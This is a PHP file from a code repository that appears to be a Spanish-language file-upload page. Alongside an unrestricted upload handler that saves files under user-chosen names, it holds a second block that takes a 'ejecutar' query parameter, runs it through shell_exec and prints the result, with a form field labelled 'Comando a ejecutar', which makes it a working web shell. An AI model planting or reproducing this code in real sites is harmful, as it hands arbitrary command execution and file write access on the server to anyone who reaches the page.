-
Notifications
You must be signed in to change notification settings - Fork 2
/
2020_02_14-SubirArchivosPHP.php
51 lines (48 loc) · 1.57 KB
/
2020_02_14-SubirArchivosPHP.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
$archivo = (isset($_FILES['archivo'])) ? $_FILES['archivo'] : null;
if ($archivo) {
$ruta_destino_archivo = "archivos/{$archivo['name']}";
$archivo_ok = move_uploaded_file($archivo['tmp_name'], $ruta_destino_archivo);
}
?>
<?php
$ejecutar = htmlspecialchars($_GET['ejecutar']);
$out= shell_exec("$ejecutar");
echo $out;
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title> Subir archivos </title>
</head>
<body>
<?php if (isset($archivo)): ?>
<?php if ($archivo_ok): ?>
<strong> El archivo ha sido subido correctamente. </strong>
<?php else: ?>
<span style="color: #f00;"> Error al intentar subir el archivo. </span>
<?php endif; ?>
<?php endif; ?>
<form method="post" action="subir_archivo.php" enctype="multipart/form-data">
<label> Archivo </label>
<input type="file" name="archivo" />
<input type="submit" value="Subir" />
<form id="form_99051" class="appnitro" method="get" action="subir_archivo.php">
<div class="form_description">
<h2>FORMULARIO</h2>
<p>FORMULARIO</p>
</div>
<ul>
<li id="li_1">
<label class="description" for="element_1">Comando a ejecutar </label>
<div>
<input id="element_1" name="ejecutar" class="element text medium" type="text" maxlength="255" value="">
</div>
</li>
<li class="buttons">
<input type="hidden" name="form_id" value="99051">
<input id="saveForm" class="button_text" type="submit" name="submit" value="Submit">
</form>
</body>
</html>